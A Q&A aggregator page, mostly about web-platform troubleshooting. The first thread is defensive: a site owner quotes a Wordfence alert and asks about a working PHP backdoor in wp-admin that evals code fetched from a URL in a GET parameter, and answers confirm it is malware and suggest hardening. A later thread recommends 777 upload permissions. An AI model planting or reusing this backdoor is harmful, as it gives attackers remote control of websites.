Wordpress warning - Backdoor:PHP/numeric.rce.8527 - wordpress

I have been looking at the Wordfence scan results on my site this morning and see 17 instances which seem to imply malware has ben installed on the server. I would be surprised if this were to be the case but wanted to be sure:
One example,
Filename: wp-admin/menu-header-cron.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <?php\x0aif (isset($_GET['limit'])) {\x0a eval(file_get_contents('http://' . $_GET['limit']));\x0a}
The issue type is: Backdoor:PHP/numeric.rce.8527
Description: Remote code execution malware
Looking at the file in question, the content of this file is:
<?php
if (isset($_GET['limit'])) {
eval(file_get_contents('http://' . $_GET['limit']));
}
Can anyone confirm whether this is an innocent file or something I need to quarantine/delete?
Also, has was this file created? It implies that remote code has the capability of creating new files in the wp-admin/ sub folder? Is there not a simple way to prevent this which would preclude any further instances.
Many thanks for any input

Answers:
Yes, this is a dangerous file as already mentioned by #Everlyn Woodley. eval() is not considered safe in production at all.
Further to verify, a quick grep "isset($_GET['limit'])" on source file of latest Wordpress package tells that its not part of it, hence again a dangerous code.
Yes, someone is able to upload files on your server. Probably they have uploaded some kind of web-shell and can manipulate any file on your hosting account. Its pretty common though.
To prevent it in future (given that you have successfully cleaned your current WP install), you can do few things, (there are plenty of articles so it would be redundant) but mentioning few might not hurt here:
Install or enable mod_security on server level
Always make sure you have latest Wordpress as well plugins
Use minimal plugins.
Simple but effective: Change location of wp-plugin and theme folders.
(https://wordpress.org/support/article/editing-wp-config-php/#moving-wp-content-folder )
If you examine access log of a regular WP install, you will notice that there are tons of bots hitting with known-vulnerabilities mostly targeting plugins folder, simply changing plugins folder location along with other security measures mentioned above can significantly reduce such hacks.

That snippet is reading the limit parameter then passing is as an URL to get a file. And eval function will just execute it
So its pretty dangerous

Related

Symfony not found static files (images, js, txt)

How can Symfony deliver static files without bootstrapping/executing the framework?
For example: if some requests are failing by the webserver(images, js files are not found or something like this) then the framework tries to solve the route. Of course this does not exists.
Is there a way to avoid this or blacklist these extensions?
It could be a cache problem.
If it is :
If it is a cache problem, you could try to clear the cache on the symfony console with cache:clear. If it doesn't work you could try to remove the ressources in the general folder, leaving the original ones in your bundle, and running assetic:dump and assets:install.
If it isn't
Regarding the "remove-symfony-routing" thing, I don't know if it's possible, but it should not done anyways.
What you're asking is to be able to access, from the client side, any file on the server, which constitutes a major security breach.
This could allow the client to get any file on the server, meaning he could get his hands on your javascript or php files which most of the time contain valuable information (such as how your app works or even deadlier : global passwords and config values)
What you could do to access resources from the client would be a route that points to a controller function that could output to browser the file you're looking for, provided that it has an extension you'd be ok to share. For example you could allow any image file but forbid code files such as php or javascript.
EDIT: Or yeah, configure your webserver correctly. 2 simple answers while I was typing :D

Opencart Modification page shows 403 Forbidden error

Modifications page which contain refresh button, shows
403 Forbidden nginx/1.14.0
chmod is 644
also I tried to re-upload the file public_html/admin/controller/marketplace/modification.php, but still shows the 403 error, I also tried a fresh install copy.
I've found that my server blocks this path marketplace/modification, is there any way to rename the modification page in Admin control panel?
I'm using 3.0.2.0 (Arabic codlance)
please help
The path to the file "modification.php" is hardcoded in many places, so there are only 3 possibilities:
Change the hoster
Contact the hoster and ask to allow the file modification.php and folders with names modification and modifications
Change the php-code and the file-name of modification.php to another name.
Assume you chose option 3, there still might be another problem because there exists still one or more folders modifications and perhaps also files with that name in plural or singular.
So if you want to keep that free hoster and also use opencart and additionally have no chance that the hoster is changing some settings for you, then you've to spend some time to change the code or perhaps some money to let someone do it for you.
Just an impression where modification is found as example, the list is still much longer:
UPDATE
There is still a chance that a file ".htaccess" exists on the server in your web-directory and that content of this file prohibits you from accessing all files and directories. Look in your web-directory and post the file if you find one.

Prestashop: SMARTY - force compilation / recompile when files are modified

I'm working on a Prestashop site and recently noticed about the SMARTY features (Menu: Advanced > Performance).
I realized that in order to show changes I made in the css, I must select one of the last two options (first one was selected by default).
Screenshot (I'm sorry the site is in Spanish)
1)Never recompile template files
2)Recompile templates when files are modified
3)Force compilation
My question is: when it comes to an online shop, wich option should I select until I finish editing the code? What's the difference between both?
It may take me a couple weeks to finish the job and I don't want to mess anything up.
Thank you guys.
When you're starting to dev onto the shop, whether it's front or back, you may have to choose the option to recompile when files are modified. I'm always choosing this option because it allows me to develop or debug some files and the server keeps serving cache files to the visitors.
Also you may have to edit the file defines.inc.php file in the config folder in order to define the _PS_MODE_DEV to true, for example like this :
/* Debug only */
if (!defined('_PS_MODE_DEV_'))
if (in_array($_SERVER['REMOTE_ADDR'], array('217.128.240.59')))
define('_PS_MODE_DEV_', true);
else
define('_PS_MODE_DEV_', false);
Doing this so you'll be able to get some logs when you're updating something. Placing your IP into the array keeps everyone safe from seeing the logs (notices for example).
In PS 1.6.
- Configure the SMARTY to "Recompile templates if the files have been updated" then deactivate the option "Smart cache for CSS"
- make the changes in your CSS files,
- delete the folders mentioned sadlyblue in comment.
- and activate again the "Smart cache for CSS" SAVE to recompile theme.

Upload plugins in Wordpress running on IIS7

I have a problem when trying to manually upload a new plugin in wordpress.
Uploading media is working perfectly, and also automatically install plugins work as it should, but manually uploading plugins generate an error message:
The uploaded file could not be moved to C:\inetpub\wwwroot\Wordpress/wp-content/uploads/2010/11.
I have checked permissions on wp-content and uploads and it is set to Everyone. I do not think there is anything wrong with permissions since I can upload images, and I see them inside my uploads folder.
I think there might be a problem with the slashes beeing incorrect, does anyone else have this problem?
I'm using IIS7, Windows Server 2008 and Wordpress 3.0.1. Everything is installed with Microsoft Web Platform Installer.
I know this is way late in answering, but I hope someone may find it useful.
This is most likely a problem with the settings involving the temporary upload location.
Here is what I did to solve a similar problem:
Ensure that you are editing the correct initialization file. Putting:
in a test.php file and executing it from your web browser will get you the setting.
Look for the setting for "Loaded Configuration File"
In that configuration file search for (or add if missing) the following setting:
upload_tmp_dir = "c:\inetpub\temp\uploads"
Ensure that c:\inetpub\temp\uploads exists and is writeable by everyone. You can tighten this up with specifying the IUSR account if you wish.
Recycle/Restart the IIS worker process. Your choice here as there are a number of ways to accomplish this.
I found a good bit of this info by referring to c:\tmp\php_errors.txt. The fastcgi.logging should be enabled by default on windows installations.
Just wanna add a solution to the good Harold's answer for PHP.
Despite changing the setting "upload_tmp_dir", I was still getting the same error message The uploaded file could not be moved to C:\inetpub\wwwroot\Wordpress/wp-content/uploads.
So i have changed also the setting "upload_max_filesize"
upload_max_filesize=16M
(16M or greater depending on the wordpress's themes size file)
Hope it helps someone who was stuck like me.
With Filezilla
directory uploads>2010>11 to set permision 777

What should I check for when I cannot upload files into filefield CCK fields?

I have recently moved a drupal site. (both servers run on a debian based LAMP stack) Everything works great here, including the uploading of images via a CCK filefield. Original url:
dev.example.com/foo
Deploying it to a test folder on the production server to a test folder for an environmental shakedown cruise lead it here:
www.example.com/foo
Everything works here too, including image uploads. After adjusting sites/default/settings.php, then making it readonly again, I renamed the folder to its production name:
www.example.com/bar
Everything works fine here except for image uploading. I've adjusted the webroot variable within settings.php .
Things I have tried so far:
Gave php system user write permissions to sites/default/files (images are set to go in sites/default/files/images but imagecache just puts them in sites/default/files)
Enabled file php file uploading for www.example.com/bar/sites/default/files
Are there any other configuration settings I should be looking out for here? I'm running low on relevant solutions.
Edit: I had quite the typo there, I adjusted sites/default/settings.php, not sites/default.settings.php .
Your question is slightly confusingly framed. default.settings.php has no impact on Drupal -- its merely a template. The file that contains the actual database connection information and other configuration is settings.php.
You may also want to look at your .htaccess file in your root Drupal folder and try changing the RewriteBase directive to the folder you are accessing your site on. Usually you should not have to change the $base_url directive in the settings.php file that you may/may not have done. Reverse that change for now if you have (you may need to play around with that later though).
imagecache will always upload the image derivatives in sites/default/files but imagefield will upload the original image in the folder you specify (within sites/default/files). You will get a setting for the imagefield under Manage Fields->[Name of Image field]->Configure under Path Settings.
Please google to understand the difference between imagecache and imagefield. Make sure your sites/default/files (and subfolders) are writable by the apache user (usually www-data).
In such situations, its usually a good idea to pick up a book on apache (if you haven't already) and try to understand how it works. It will be time consuming but will help you out in the future when you encounter configuration issues like this.
This worked for me. When having issues uploading images to a cck field, I gave write permissions to directory:
sites/default/files/field/image

Resources